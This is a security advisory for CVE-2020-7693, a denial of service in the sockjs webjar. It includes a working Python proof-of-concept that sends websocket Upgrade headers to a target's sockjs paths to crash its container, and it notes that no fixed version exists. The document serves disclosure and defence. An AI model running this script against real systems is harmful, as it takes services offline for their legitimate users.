Denial of Service (DoS)

Affecting org.webjars.npm:sockjs artifact, versions [0,]

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Overview

org.webjars.npm:sockjs is a JavaScript library (for browsers) that provides a WebSocket-like object.

Affected versions of this package are vulnerable to Denial of Service (DoS). Incorrect handling of Upgrade header with the value websocket leads in crashing of containers hosting sockjs apps.

PoC by Andrew Snow

import requests
import random
import argparse

def main():
  print('SockJS 0.3.19 Denial of Service POC')
  print('For educational purposes only')
  print('Author: @andsnw')
  print('------------')
  parser = argparse.ArgumentParser(description='SockJS 0.3.19 Denial of Service POC')
  parser.add_argument('--target', type=str, help='URL of target running vulnerable sockjs')
  parsed = parser.parse_args()
  target = vars(parsed)['target']
  if target == None:
    parser.print_help()
    exit()

  # Clean trailing /
  if target.endswith('/'):
    target = target[:-1]

  print ("Initiating at: %s" % target)

  # Create sockjs payload
  payloads = [
    ('%s/sockjs/' % target),
    ('%s/sockjs/598/' % target),
    ('%s/sockjs/598/8ko8gkpf/' % target),
  ]

  # Run 3 times with traversion
  for url in payloads:
    payload_url = "%s%s" % (url, random.randint(1000000000000000000,9999999999999999999))
    print('Requesting: %s' % payload_url)
    req = requests.get(url=payload_url, headers={
      'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
      'Cache-Control': 'max-age=0',
      'Accept-Language': 'en-US,en;q=0.5',
      'Connection': 'Upgrade',
      'Upgrade': 'websocket',
    })
    print("Status code: %s" % req.status_code)

  print ("Complete! Check if the container has crashed")

if __name__ == "__main__":
    main()

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for org.webjars.npm:sockjs.

References

CVSS Score

5.3
medium severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    None
  • Integrity
    None
  • Availability
    Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O
Credit
Andrew Snow
CVE
CVE-2020-7693
CWE
CWE-400
Snyk ID
SNYK-JAVA-ORGWEBJARSNPM-575448
Disclosed
03 Jul, 2020
Published
08 Jul, 2020